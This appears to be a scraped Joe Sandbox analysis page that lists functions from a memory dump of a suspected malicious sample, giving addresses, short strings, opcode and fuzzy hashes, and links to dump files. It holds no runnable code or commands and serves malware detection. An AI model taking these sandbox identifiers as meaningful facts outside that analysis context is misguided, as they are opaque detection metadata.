Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: a77a1482f958444db94f2d2a4757359c25f6a463201d927b0b7e7e74843d8085
Instruction ID: 2598608e2a9afff5271d458d61baffa47bd737ff7a211abf7295e6a329bb439b
Opcode Fuzzy Hash: a77a1482f958444db94f2d2a4757359c25f6a463201d927b0b7e7e74843d8085
Instruction Fuzzy Hash: 66B167B3F116254BF3644878CDA83A66582A795325F2F83788F5CAB7C5EC7E4D0A42C4

Function 06BA002B Relevance: 1.6, Strings: 1, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

q, xrefs: 06BA026D

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: 814453c7f03e2fcc4d6c46a418d06db7a718a51b3be056c4ea7487484bb21043
Instruction ID: e57bbc0f9baf657165b49ba25288210c1dd06beca1befb01db7f7288b6950a32
Opcode Fuzzy Hash: 814453c7f03e2fcc4d6c46a418d06db7a718a51b3be056c4ea7487484bb21043
Instruction Fuzzy Hash: 82B18BB3F1152107F7984839CD6836669839BD5320F2F827C8F9A6BBC9CC7E5D0A4284

Function 06B7674D Relevance: 1.6, Strings: 1, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}, xrefs: 06B76861

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: }
API String ID: 0-4239843852
Opcode ID: 36956907c168f2db64519113403ed005335d624d4ff68e1e358285572634bcad
Instruction ID: 17c6724e914646c7125a5d191e873a27d77763d427ca75e2ae0e79cbcf5e63dc
Opcode Fuzzy Hash: 36956907c168f2db64519113403ed005335d624d4ff68e1e358285572634bcad
Instruction Fuzzy Hash: F5B149B3F2162547F3544839CC68362668397E1324F2F82788F9DAB7C5E87E9D064388

Function 06BA4CF4 Relevance: 1.5, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

BBfH, xrefs: 06BA4E2C

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: BBfH
API String ID: 0-686232455
Opcode ID: 6c27ece481209720e35fa97f4859042b834d0692186c4a54a640b93c1eb88fd6
Instruction ID: 6fa90c3ba0a5996e2769d86865f8db6bfc3e99767efb1703ce660f78ce9ec549
Opcode Fuzzy Hash: 6c27ece481209720e35fa97f4859042b834d0692186c4a54a640b93c1eb88fd6
Instruction Fuzzy Hash: E1A16AF3F2162447F3584839CC683666583D7E5324F2F82388F59AB7C5D87E9D0A5284

Function 06B9CAD5 Relevance: 1.5, Strings: 1, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C, xrefs: 06B9CBDF

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: 1de77e87c18548cd0bfea06927f1c034f2ea7435a60d3236b663b677360c9ab7
Instruction ID: f42835ad90d8114786da419e1abc75310ac00c296eab1168a8984c1ff2b0d19e
Opcode Fuzzy Hash: 1de77e87c18548cd0bfea06927f1c034f2ea7435a60d3236b663b677360c9ab7
Instruction Fuzzy Hash: 2AA19BB3F106258BF3544A28CC583A2B693DB95320F2F42788E596B7C5DA3E6D0657C4

Function 06B9F395 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

i, xrefs: 06B9F63D

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: b2ab7ff391d144b1acd59482ecbac98367fae485303544a72721c91a2c15deaf
Instruction ID: c1139d901ce09c073eca03e051e3b156268b695271d4262317ae74f6bda6fb7b
Opcode Fuzzy Hash: b2ab7ff391d144b1acd59482ecbac98367fae485303544a72721c91a2c15deaf
Instruction Fuzzy Hash: C7A1AEB3F216148BF3444E29CCA93A27683EBD5315F2F81788B499B3C5DD3E990A5384

Function 06B79BCB Relevance: 1.5, Strings: 1, Instructions: 278COMMON

Download Yara Rule

Strings

a@#m, xrefs: 06B79CE9

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: a@#m
API String ID: 0-1609476158
Opcode ID: 3942d4fa710c5f03fa7818f302f66a9d59a2974252f9b5f6bb3b68e9b0b7e774
Instruction ID: 1c43dddd6499e05e8aeef941f50f5c56395065ce105cfa37ac96cf728221183d
Opcode Fuzzy Hash: 3942d4fa710c5f03fa7818f302f66a9d59a2974252f9b5f6bb3b68e9b0b7e774
Instruction Fuzzy Hash: E9A1ACB3F112244BF3548939CCA83A23693DBD5310F2F82788E59AB7C5D97E5D0A9384

Function 06B96B64 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

l, xrefs: 06B96C18

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: l
API String ID: 0-2517025534
Opcode ID: 271d722d2717f3c5ece4974ccd5653fa96e0bc9493421e9e62c67eb4a592ec6a
Instruction ID: 7eeaa570a539519ef4f681dd1ab63a13bf9e1e7375a1e7e4a26605dd5b517c2d
Opcode Fuzzy Hash: 271d722d2717f3c5ece4974ccd5653fa96e0bc9493421e9e62c67eb4a592ec6a
Instruction Fuzzy Hash: 2A919CB7F116254BF3844929CC983A27653EBD5310F2F81788E4CAB7C6E97E9D0A5384

Function 06BB9E95 Relevance: 1.5, Strings: 1, Instructions: 263COMMON

Download Yara Rule

Strings

}:A4, xrefs: 06BBA0FE

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: }:A4
API String ID: 0-1497058794
Opcode ID: a1ee6f7015e528175c53f6c9cb0744882804498ba806efc043add03cd181f097
Instruction ID: d9da421ca53b020d824370b2838bbe52630e30532297dde30578f1eb0d9ddd5e
Opcode Fuzzy Hash: a1ee6f7015e528175c53f6c9cb0744882804498ba806efc043add03cd181f097
Instruction Fuzzy Hash: 6891C2B3F106348BF3544968CC983A27682DB99310F2F42798E1CAB7D5D9BE9D0957C4

Function 06B9EFD0 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

F, xrefs: 06B9F0A6

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: fe986b60efc13200e0e947a9b9ea17af29fa04e6b93c3b29488ea3996ea50c1f
Instruction ID: 392ceeb08d5d86942fea8a24028b8300ae35c6ebce05e18596e7f54e661b93bc
Opcode Fuzzy Hash: fe986b60efc13200e0e947a9b9ea17af29fa04e6b93c3b29488ea3996ea50c1f
Instruction Fuzzy Hash: 77819CB3F106254BF3540938CD683A66642DB95324F2F82788F9D6BBC9D97E5C0A43C0

Function 06B99DE3 Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

o, xrefs: 06B99EB4

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: o
API String ID: 0-252678980
Opcode ID: 3a37d9ee4e30b152d4e3846b0aab3fda398f6dbfbaec4e28827439fb97a2fff4
Instruction ID: 677fdb4862b3eae63aeb7b16ef98c77f0e275f47d9333626340a0944e3e4880a
Opcode Fuzzy Hash: 3a37d9ee4e30b152d4e3846b0aab3fda398f6dbfbaec4e28827439fb97a2fff4
Instruction Fuzzy Hash: 028189B3F2152547F3584939CD283A676839BD1320F2F827C8E49AB7C9ED3E5D0A5284

Function 06B9437A Relevance: 1.5, Strings: 1, Instructions: 227COMMON

Download Yara Rule

Strings

A, xrefs: 06B94502

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: 41f3ba85f88161651508d7c1a592ffb5de0e0f3a1c6b55581693d74d936a46ab
Instruction ID: e24ba9f9a36aef884a000e521180334d02ccf42126ea75ad3fc56f9defdb8faf
Opcode Fuzzy Hash: 41f3ba85f88161651508d7c1a592ffb5de0e0f3a1c6b55581693d74d936a46ab
Instruction Fuzzy Hash: 0B7168F3E6162547F3404964CD983A26653DBD1321F2F82788E286B7C5D97E9D0A5388

Function 06B896CA Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

<yj, xrefs: 06B89878

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: <yj
API String ID: 0-2326418491
Opcode ID: 732a3b99007140b74e01892db284625fe4f03bd9745ab68cbc019dad5726b08a
Instruction ID: 8b7fb9b5f42f9950dd91910ca04f9126cb646548a0f42b9b868ea9c34d932ce6
Opcode Fuzzy Hash: 732a3b99007140b74e01892db284625fe4f03bd9745ab68cbc019dad5726b08a
Instruction Fuzzy Hash: 0A619DB3F216254BF3544929CC983A27283DBD5321F3F81788E886B7C9D93E6D0A5784

Function 06BB0F2B Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

O, xrefs: 06BB0FF9

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: bdcacf4b77ed79832a5a36ecfaeb54f5ba76385a383f4bf013e554dc415a6cfb
Instruction ID: c1fc960f27a34de0afe828a5780abaf874eb59d2d1b0ac3dd3e3f3234edeb6d9
Opcode Fuzzy Hash: bdcacf4b77ed79832a5a36ecfaeb54f5ba76385a383f4bf013e554dc415a6cfb
Instruction Fuzzy Hash: 48716AB7F116258BF3404925DCA83A27253DBE5320F2F41788B586B7C5D93EAD0A9384

Function 06B84E8A Relevance: 1.4, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

M, xrefs: 06B84FB6

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 5211a7580d52eb102713aafd9e840d9d4e6ab6e4576f8836e0f47799f505818e
Instruction ID: 1ddf8efcb00cf0df7bf6432109c4326c8eab80d4be6dd2336e481111c8ed11d0
Opcode Fuzzy Hash: 5211a7580d52eb102713aafd9e840d9d4e6ab6e4576f8836e0f47799f505818e
Instruction Fuzzy Hash: 6661D1F3F215254BF3444928CC983623693DBD5321F2F81788E496BBC5D97E9D0A9784

Function 06BA42A4 Relevance: .6, Instructions: 555COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f9b911133508f75dce341050bd01870aee01299dc6c4c7d742f84648be134a9
Instruction ID: 5f54075485a91eaa82aeca8cc4732b831aa9e6b1ae9e4f9276ee1d474150addd
Opcode Fuzzy Hash: 4f9b911133508f75dce341050bd01870aee01299dc6c4c7d742f84648be134a9
Instruction Fuzzy Hash: D502CDF3F116254BF3544979DD983A27A93DBD5320F2F82388B989BBC9D87D580A4284

Function 06B855E6 Relevance: .5, Instructions: 524COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 235cd58f093c3374e93d5840f312b67569fdfa5e03521e10d46cbb20208bb60e
Instruction ID: c2d7066e4aac35dcb05fd47d5f59c3cce939346ada8ad61d482c4845ccf59bde
Opcode Fuzzy Hash: 235cd58f093c3374e93d5840f312b67569fdfa5e03521e10d46cbb20208bb60e
Instruction Fuzzy Hash: 5F02DCB3F142104BF3485939DC98366B697EBC4320F2B823DDA89877C4D97E9D0A8385

Function 06BBA7D4 Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 958b0a7cc44be6fccaf8c0bcbb196bdc44490f7b24e633f357a430bf956a5aa2
Instruction ID: 561c1563b5afc6368b0ebda78838e77d7298b70886f5a7d06ab45ea67f8034a8
Opcode Fuzzy Hash: 958b0a7cc44be6fccaf8c0bcbb196bdc44490f7b24e633f357a430bf956a5aa2
Instruction Fuzzy Hash: 2BF1E2F3F102104BF3445E29DC993A6B692EB94320F2F823D9B98977C4D97E9C098785

Function 06B88AC4 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3165972939c1cafaa40fd296cd6974dbf0a3dc00aeea98ba1c8b52b0bbfffe2
Instruction ID: 4f41bc627ea65bc1f0c151ea81dee3c916233e1d4c204fe20cc066d6b536731a
Opcode Fuzzy Hash: c3165972939c1cafaa40fd296cd6974dbf0a3dc00aeea98ba1c8b52b0bbfffe2
Instruction Fuzzy Hash: C3E1D0F3F146144BF3145D28DC98366B692DBE4320F2F823C8B899B7C5D97E9D098685

Function 06B7DBE1 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
